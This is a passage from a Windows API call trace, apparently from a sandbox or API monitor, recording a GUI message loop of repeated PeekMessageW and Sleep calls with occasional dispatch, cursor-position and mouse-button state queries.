wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.738] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.739] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.739] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.739] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.739] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.739] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.739] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.739] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.739] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.739] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.739] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.740] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.740] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.740] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.740] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.740] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.740] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.740] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.740] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.740] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.740] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.740] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.741] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.741] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.741] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.741] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.741] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.741] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.741] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.741] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.741] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.741] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.741] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.742] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.742] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.742] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.742] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.742] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.742] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.742] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.742] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.742] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.742] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.742] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.743] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.743] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.743] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.743] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.743] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.743] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.751] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.751] IsDialogMessageW (hDlg=0xa004e, lpMsg=0xa96acafba0) returned 1 [0043.751] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 1 [0043.751] TranslateAcceleratorW (hWnd=0xa004e, hAccTable=0x1901df, lpMsg=0xa96acafba0) returned 0 [0043.751] TranslateMessage (lpMsg=0xa96acafba0) returned 0 [0043.751] DispatchMessageW (lpMsg=0xa96acafba0) returned 0x0 [0043.751] GetForegroundWindow () returned 0xa004e [0043.751] GetWindowLongPtrW (hWnd=0xa004e, nIndex=-21) returned 0x0 [0043.751] GetCursorPos (in: lpPoint=0xa96acafa00 | out: lpPoint=0xa96acafa00*(x=574, y=538)) returned 1 [0043.751] ScreenToClient (in: hWnd=0xa004e, lpPoint=0xa96acafa00 | out: lpPoint=0xa96acafa00) returned 1 [0043.751] GetAsyncKeyState (vKey=1) returned 0 [0043.751] GetAsyncKeyState (vKey=2) returned 0 [0043.751] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.752] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.752] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.752] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.752] Sleep (dwMilliseconds=0x0) [0043.752] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.752] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.752] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.752] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.752] Sleep (dwMilliseconds=0x0) [0043.753] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.753] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.753] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.753] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.753] Sleep (dwMilliseconds=0x0) [0043.754] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.754] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.754] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.754] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.754] Sleep (dwMilliseconds=0x0) [0043.754] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.755] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.755] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.755] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.755] Sleep (dwMilliseconds=0x0) [0043.755] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.755] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.755] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.755] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.755] Sleep (dwMilliseconds=0x0) [0043.756] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.756] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.756] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.756] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.756] Sleep (dwMilliseconds=0x0) [0043.756] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.756] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.756] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.756] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.768] Sleep (dwMilliseconds=0x0) [0043.769] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.769] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.769] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.769] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.769] Sleep (dwMilliseconds=0x0) [0043.769] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.770] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.770] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.770] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.770] Sleep (dwMilliseconds=0x0) [0043.770] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.770] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.770] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.770] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.770] Sleep (dwMilliseconds=0x0) [0043.770] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.770] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.770] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.770] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.770] Sleep (dwMilliseconds=0x0) [0043.771] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.771] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.771] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.771] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.771] Sleep (dwMilliseconds=0x0) [0043.771] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.771] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.771] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.771] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.771] Sleep (dwMilliseconds=0x0) [0043.771] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.772] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.772] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.772] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.772] Sleep (dwMilliseconds=0x0) [0043.772] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.772] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.772] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.772] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.772] Sleep (dwMilliseconds=0x0) [0043.772] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.772] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.772] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.772] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.773] Sleep (dwMilliseconds=0x0) [0043.773] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.773] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.773] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.773] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.773] Sleep (dwMilliseconds=0x0) [0043.773] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.773] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.773] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.773] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.781] Sleep (dwMilliseconds=0x0) [0043.781] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.781] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.781] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.781] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.781] Sleep (dwMilliseconds=0x0) [0043.781] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.781] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.781] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xa96acafba0) returned 0 [0043.781] PeekMessageW (in: lpMsg=0xa96acafba0, hWnd=0x0, 